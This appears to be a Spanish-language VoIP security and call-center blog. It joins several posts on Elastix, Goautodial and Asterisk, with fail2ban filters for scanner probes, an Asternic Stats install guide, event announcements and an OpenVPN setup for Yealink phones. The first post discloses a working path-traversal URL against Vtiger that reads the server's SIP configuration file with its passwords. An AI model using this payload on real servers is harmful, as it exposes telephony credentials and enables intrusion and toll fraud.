Como saben este famoso software de marcación predictiva, trae Vtiger como software para CRM, por defecto, ultimamente estoy trabajando mucho con este software, así que, como siempre no esta demás probar, como dirían los colegas “las fijas”.
A través de Vtiger, es posible explotar una vulnerabilidad que permite visualizar los archivos locales del servidor goautodial, mediante la manipulación de URL , esto sucede en Goautodial 2.1 , aquí algunos ejemplos.
1.- Detectando Vtiger en Goautodial 2.1
2.- Explotando la vulnerabilidad , visualizando el archivo de troncales, extensiones y contraseñas
URL : http://IP/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/sip-vicidial.conf%00
Si bien es cierto, esta es una vulnerabilidad ya reportada en vtiger (http://osvdb.org/show/osvdb/80552) , al parecer la gente de Goautodial aun no corrige la versión.
Bueno espero les sirva la información y a tomar sus recaudos
Antecedentes
El año pasado publique un post sobre algunas técnicas que estaban siendo usadas para ataques a servidores Elastix a través de la interfase de administración, bueno todo cambia y por supuesto los ataques también.
Revisión de logs
Desde hace unos meses están apareciendo en el log de apache este tipo de registro en el log de apache.
Evidentemente, se trata de un atacante, en pleno proceso de descubrimiento de archivos y carpetas en el servidor, realizado con los ya conocidos “web scaners”.
Bloqueo
Para esto encontré en este blog, una manera muy interesante de bloquear este tipo de ataques usando fail2ban, con algunas modificaciones para Elastix, que a continuación explico.
1.- Detección y bloqueo de “w00tw00t.at.ISC.SANS.DFind”
A.- Crear las Definiciones
vi /etc/fail2ban/filter.d/apache-w00tw00t.conf
[Definition]
failregex = ^.*\[client <HOST>\].*w00tw00t\.at\.ISC\.SANS\.*.*
ignoreregex =
B.- Añadimos el comportamiento o jaula en el archivo de configuración central
vi /etc/fail2ban/jail.conf
[apache-w00tw00t]
enabled = true
filter = apache-w00tw00t
action = iptables-allports[name=w00tw00t]
logpath = /var/log/httpd/access_log
maxretry = 1
bantime = -1
2.- Detección y bloqueo de “/phpMyAdmin/main.php”
A.- Crear las Definiciones
vi /etc/fail2ban/filter.d/phpMyAdmin-admin.conf
[Definition]
failregex = ^.*\[client <HOST>\].*phpMyAdmin\/admin\.*.*
ignoreregex =
B.- Añadimos el comportamiento o jaula en el archivo de configuración central
vi /etc/fail2ban/jail.conf
[phpMyAdmin-admin]
enabled = true
filter = phpMyAdmin-admin
action = iptables-allports[name=phpMyAdmin]
logpath = /var/log/httpd/access_log
maxretry = 1
bantime = -1
Conclusiones
- Reitero, si cuentan con la interfaz de administración de Elastix de cara a internet , es necesario dar mucho seguimiento a los logs de Apache
- De manera general, tratar de apoyarse en herramientas que pueden detectar de manera proactiva, ciertos comportamientos como este caso Fail2ban
Espero les sirva la información , veremos que nos trae los próximos meses
Cuando me llaman a revisar un Callcenter y me encuentro con “N” problemas que no pueden solucionar, y sentir el el descontento de los jefes de campañas, administradores y gerentes, normalmente siempre le tiran toda la culpa al servidor o a la solución que se implementó, cuando la realidad de las cosas es otra.
Los Callcenter por una evidente estrategia de ahorros de costos, realizan las llamadas a través de internet (como ellos lo llaman) es decir haciendo uso proveedores de voz sobre IP.
Sin embargo, en su afán de “ahorrar costos” tienden a tomar malas decisiones, por estar mal asesorados, gente con mucha experiencia en servicios de datos, pero no en voz, o por que simplemente la administración y/o gerencia escoge lo mas barato, o la suma de los dos factores.
Ante ello, no hacen mas que ganarse tremendos dolores de cabeza, cuando entran en producción y encontrarse con problemas como llamadas entrecortadas, llamadas que se cortan, volumen bajo, llamadas que no conectan, y como consecuencia las campañas no tienen los resultados esperados , el resultado: NO HAY NEGOCIO.
A continuación les voy a presentar, algunos de los errores típicos y que no les recomiendo que cometan en un callcenter:
1.- Codecs
Tener una troncal sip con el proveedor voip y no usar codecs g729 licenciados o lo que es peor usar los famosos g729 libres/desarrollo y pensar que con eso es suficiente.
2.- Seguridad
Pensar que implementando un firewall de perímetro, vas a evitar que te “hackeen” el servidor, sin tener en cuenta que un firewall, no te garantiza nada, en términos de seguridad, si no conoces bien lo que has implementado, y peor aun, desconocer que el efecto colateral de esto, que la VoiP es altamente sensible a este tipo de equipos, un buen script de iptables, configuraciones adicionales de lado de asterisk y algún software adicional como fail2ban, puede suplantar tranquilamente estos equipos.
3.- Enlaces de internet
Usar enlaces de internet inalámbricos o simétricos pero de baja calidad, y que ni siquiera ofrecen medidores de trafico, es decir estas ciego de cara a internet y no puedes ver el consumo de ancho de banda real, si ya se… puedes implementar tu propio medidor, pero valga las verdades, lo mas certero es tener el medidor del lado del proveedor que te da acceso a internet.
4.- Proveedores voip
Usar proveedores/revendedores de trafico de voz, que no cuentan con buenas rutas y calidad de voz, problemas como el volumen bajo en las llamadas, o inclusive llamadas que no pueden conectar, son producto de esto.
5.- Virtualización
Virtualizar Asterisk/ELastix/vicidial etc,etc., aquí puedo causar un poco de polémica, pero en mi experiencia, lo mejor es trabajar con hardware físico, si quieres virtualizar, hazlo con todo lo que es servicios de datos, pero no de voz, sobre todo cuando vas a pasar mucho trafico de llamadas por maquina virtual.
6.- Desconocimiento de la plataforma que implementas
Si bien es cierto, hoy instalar Asterisk, Elastix, vicidial, goautodial,etc,etc. es bastante sencillo o menos difícil como lo quieran ver, el trabajo no queda ahí, no conocer a profundidad la plataforma sobre la cual implementas, es preocupante, el error común, es preocuparse mucho por la estructura de red (switch,router,firewall) y olvidarse de lo mas importante, y como consecuencia, pierden toda la potencia que tiene Linux/Asterisk para personalizarlo, adecuarlo, asegurarlo, y dejarlo a 1,000 por hora.
Bueno estos son algunas cosas que quería compartirles, espero les sirva.

Durante el 4k Conference , tuve el gusto de conocer a Nicolas y Agustin Gudiño , el primero nada menos que el creador de el no menos conocido “Flash Operator Panel” , ellos son los responsables de uno de los reporteadores mas importantes para callcenters sobre plataformas y distribuciones basadas en Asterisk.
En este caso Asternic Call Center Stats , estoy seguro que más de uno conoce la versión Open-source o LITE , sin embargo déjenme decirles que solo están viendo la punta del iceberg, de todo lo que puede hacer este maravilloso sistema.
En este caso no vamos a ver los innumerables reportes que provee, para eso los invito a visitar la página http://www.asternic.net/ , lo que vamos a ver, es el proceso de instalación sobre una plataforma Elastix en su versión 2.3 de Asternic Call Center Stats Pro 2
1.- Descargar y descomprimir
#wget http://download.asternic.net/asternic-stats-pro-2.0.0.tgz
#tar xvfz asternic-stats-pro-2.0.0.tgz
2.- Crear y cargar base de datos
#mysqladmin -u root -p create qstats
#cd asternic-stats-pro-2.0.0
#mysql -uroot -p qstats < ./sql/mysql-tables.sql
3.- Configurar conexión a base de datos y Manager de Asterisk
cd asternic-stats-pro-2.0.0
vi html/config.php
// Connection details
$DBHOST = ‘localhost’;
$DBNAME = ‘qstats’;
$DBUSER = ‘root’;
$DBPASS = ‘tupassword’;
// Manager details (for realtime tab)
$MANAGER_HOST = “localhost”;
$MANAGER_USER = “admin”;
$MANAGER_SECRET = “tupassword”;
4.- Configuración del entorno Web
#mv html /var/www/html/stats
#chown asterisk.asterisk /var/www/html/stats
#chown asterisk.asterisk /var/www/html/stats/* -R
#touch /var/www/html/stats/asterniclic.txt
#chmod 666 /var/www/html/stats/asterniclic.txt
#mv parselog /usr/local
5.- IONCUBE LOADER
Asternic Stats Pro requiere que librerias de ionCube para php.
#wget http://downloads2.ioncube.com/loader_downloads/ioncube_loaders_lin_x86.tar.gz
#tar zxvf ioncube_loaders_lin_x86.tar.gz
#mv ioncube /usr/local
#echo “zend_extension=/usr/local/ioncube/ioncube_loader_lin_5.1.so” >/etc/php.d/ioncube.ini
#service httpd restart
6.- ACTIVAR LICENCIA
Para el caso de Call Center Stats Pro es necesario activar el software. La licencia
está ligado a la dirección MAC de la interfaz de red del servidor.
Es necesario tener acceso a Internet desde el servidor con el fin de activar la copia.
Ingresar a : https://TUIP/stats/

Licence Name : Nombre de la empresa
Activation Code : xxxxxxxxx (Enviada por EMAIL)
Una vez que la licencia ha sido activada, nos mostrará el formulario de ingreso al sistema:
7.- VOLCADO DE LOGS (PARSING)
#cd /usr/local/parselog/
#./tailqueuelog -u root -p 123456 -d qstats -l /var/log/asterisk/queue_log &
Como pueden ver el scrip genera un PID numer , el cual podemos consultar, si deseamos deterlo de lo contrario podemos ingresar en rc.local el comando para que se ejecute cada vez que iniciamos el servidor.
#ps aux | grep tailqueuelog
8.- INGRESO AL SISTEMA
Ingresar a : https://192.168.10.136/stats/
User : admin
Password : admin
Bueno ahí lo tienen, desde mi punto de vista la relación costo – beneficio es muy buena , comparado con otros productos bastante conocidos y que doblan el precio , sin considerar que en este caso Asternic Call Center Stats Pro 2 , no tiene limitaciones de agentes en cuanto a la licencia, otro punto interesante es que es un producto totalmente hecho en la región, por lo cual tendremos soporte en nuestro idioma y quién sabe , quizás nos toque el gusto de poder conversar con el mismísimo Nicolas Gudiño en algún momento
Espero les sirva la información
Con motivo de la realización del 4k Conference en Bogotá (4 y 5 de diciembre) , este 3 de diciembre brindaré un taller de seguridad en Elastix , el cual está orientado en aprender las diferentes técnicas de ataques a plataformas de voz sobre IP, para luego poder desarrollar los métodos de protección.
El taller es 100% practico , y considero que el contenido es muy ambicioso e interesante, donde se verán tanto técnicas de ataques tanto al sistema operativo en este caso Linux como escaneo de servicios, password cracking, análisis de vulnerabilidades, así como a nivel de protocolo sip con enumeración de extensiones, sip brute force attack, Eavesdropping de llamadas y finalmente técnicas y métodos de aseguramiento y hardering basado en estos dos enfoques usando usando el modulo de seguridad de Elastix , fail2ban , port-knocking , ssh tunneling e implementación básica de un firewall con pfsense, entre otros.
Así que, si buscabas pretextos para ir a Colombia, este es el momento!! Asiste al taller y a la 4k Conference, y obtén un precio muy especial para ambos eventos.
Mas información en : http://www.elastix.org/index.php/es/compania/eventos/885-voip-security-workshop-for-elastix.html
Nos vemos en la 4k Conference en diciembre !!
Por cuarto año consecutivo el evento que se ha convertido en estos tiempos, en la cita más importante sobre temas y exposiciones de inseguridad informática en el Perú. Tendrá cita este 2 y 3 de noviembre en la Universidad Privada San Juan Bautista, en su sede de chorrillos, lo cual permitirá albergar a más de 500 asistentes durante estos dos días.
Como todos los años, el evento persigue la filosofía de ser un encuentro de especialistas en Seguridad Informática, profesionales de IT , estudiantes y todo aquel apasionado en temas de inseguridad. Para esto se ha mantenido como gratuito, sin embargo a pesar de ello, importantes empresas que estarán apoyando, en este caso el CTF (Capture the Flag) denominado InkaGame , en el cual Mile2, premiará con 3 Packs CBT’s + voucher de certificación al equipo ganador (valorizado en US$2400) , asi mismo , STARLABS presentará el DESAFIO ESET, el cual consiste en una serie de retos referentes al análisis de malware y sus diversos comportamientos.
La otra novedad es que este año las charlas tendrán presencia femenina, en donde Elysa García Alatrista departirá el tema “Cracking 101” y Paola García Juárez con el tema “Cloud Forensics: Investigación de incidentes en la nube” , también existirán ponentes extranjeros de Argentina y Ecuador , así como del interior del País como Cuzco, Arequipa e Ica.
Finalmente, este año su servidor no se quedo atrás
y presentaré una charla titulada “Depth Analysis to denial of services attacks – types and myths” que estará enfocada a mostrar los diversos tipos de ataques de denegación, que actualmente se vienen desarrollando y son noticia en estos últimos tiempos.
Así que, si están en Perú, no dejen de asistir y si están afuera, vengan y disfruten de un evento muy diferente a los demás ¡!
URL para el registro: http://www.limahack.com/registro.htm
Información de agenda completa: http://www.limahack.com/agenda.htm
Información de los Speakers: http://www.limahack.com/speakers.htm
Información de cómo llegar: http://www.limahack.com/images/slides/ubica.jpg
Desde hace varios meses tenia cosas pendientes en el blog , que por carga de trabajo, no los podía postear, uno de ellos es este genial mini tutorial cuya autoría pertenece a mi amigo Alfredo Pastor (alfredomacr@gmail.com) el cual pienso que a mas de uno le sera útil.
El tutorial muestra como realizar la configuración de un telefono yealink para ser usado como un cliente vpn , de un servidor vpn en este caso openvpn instalado en un servidor Elastix. Esto provee una capa adicional de seguridad para poder encriptar y asegurar la conversaciones que pasan a través de internet con extensiones remotas.
OPENVPN EN EQUIPOS YEALINK
Este mini tutorial tiene por objetivo llegar a configurar los equipos Yealink T26p, T28p, T38p y el VP530 con OpenVPN. Primero que nada deberán configurar OpenVPN en el servidor Elastix.
NOTA: Para este tutorial se utilizó la versión 2.3 de Elastix (64 bits).
Manos a la obra, como les comentaba anteriormente deberán configurar primero la VPN. Este LINK les ayudará a realizar dicha configuración.
Cuando lleguen a la parte donde se generan las llaves, es decir, la ca.crt, cliente1.crt y cliente1.key; regresen a este tutorial. Estos archivos se encuentran ubicados en /etc/openvpn/keys y deberán ser copiados en una carpeta llamada keys, lo que yo hago es lo siguiente:
1.1) Si estoy en Windows 7, me descargo el Winscp. ( Nota : esta parte no me gusta Alfredo , pero soy inclusivo
)
1.2) Si estoy en Ubuntu, me descargo el gFTP (lo descargan por el Centro de software de Ubuntu).
El siguiente paso es que deberemos crear un archivo más, al cual llamaremos vpn.cnf; este será el que nos redireccione ante nuestro servidor OpenVPN y el cual tendrá la configuración de comunicación, a continuación detallo dicho documento.
Para los YEALINK T26p y T28p, deberán colocar lo siguiente:
client
dev tun
proto udp
remote mi.dominio.com 1194
float
resolv-retry infinite
nobind
persist-key
persist-tun
# mute-replay-warnings
ca /yealink/config/openvpn/keys/ca.crt
cert /yealink/config/openvpn/keys/cliente1.crt
key /yealink/config/openvpn/keys/cliente1.key
ns-cert-type server
comp-lzo
ping 60
verb 3
Para los YEALINK T38p y VP530, deberán colocar lo siguiente:
client
dev tun
proto udp
remote mi.dominio.com 1194
float
resolv-retry infinite
nobind
persist-key
persist-tun
# mute-replay-warnings
ca /config/openvpn/keys/ca.crt
cert /config/openvpn/keys/cliente1.crt
key /config/openvpn/keys/cliente1.key
ns-cert-type server
comp-lzo
ping 60
verb 3
El siguiente paso que debemos seguir es comprimir todos los archivos que hemos creado en un .tar, esto es algo similar a utilizar el winrar o el winzip. A este tar lo llamaremos openvpn.tar (o como ustedes deseen llamarlo).
Para crear los tar en Windows 7, podemos guiarnos del siguiente link. Y si estamos en Ubuntu es mucho mas fácil, solo nos dirigimos a través de un terminal hasta la carpeta donde se encuentran nuestros archivos, es decir, la carpeta keys y el archivo vpn.cnf. En este caso yo los tengo en mi escritorio y hago los siguiente:
cd
cd Escritorio/
tar -cf openvpn.tar keys/ vpn.cnf
Si todo va bien, podremos observar que se nos a creado openvpn.tar en el escritorio.
Así que ya solo nos falta cargarlo de la siguiente manera en nuestro teléfono ip. Nos vamos a Network > Advanced > VPN > Seleccionar Archivo y le damos click a nuestro archivo openvpn.tar. Luego de ello seleccionamos Importar, finalmente en el select de VPNActive ponemos Enabled yseleccionamos el botón Confirmar. Luego de este paso el teléfono se reiniciará.
Hasta aquí lo que hemos logrado es comunicarnos vía VPN, pero aún no lograremos comunicarnos con asterisk ya que falta configurar nuestra extensión; notarán en la siguiente imagen que yo estoy apuntando a la dirección 192.168.37.1 y esto es porque en el link que les comente mas arriba, el rango que utilizan para las conexiones VPN son las 192.168.37.0/255.255.255.0 siendo la 192.168.37.1 la dirección asignada por defecto al servidor OpenVPN (en este caso nuestro Elastix).
Ahora ya solo nos falta natear nuestros puertos en el router y apuntar a nuestro servidor Elastix:
-
El 1194 para OpenVPN con TCP y UDP (ALL).
-
Del 10000 al 20000 para RTP con TCP y UDP (ALL).
IMPORTANTE: Las VPN’s generan mayor ancho de banda en los paquetes, y como experiencia les comento que tuve algunos problemitas al principio por dicho tema (retardos y pérdidas de comunicación). Así que comencé a analizar el problema y me di cuenta que aun no había instalado la compresión lzo, la cual es una librería de compresión de datos y está diseñada para comprimir y descomprimir en tiempo real. Esto es fundamental para el buen funcionamiento de comunicación, lo que tienen que hacer es instalar estos paquetes de la siguiente manera:
-
yum install lzop.x86_64
-
yum install python-lzo.x86_64 (esto lo puse por las dudas).
NOTA: Este documento se encuentra distribuido bajo licencia GPLv3.




















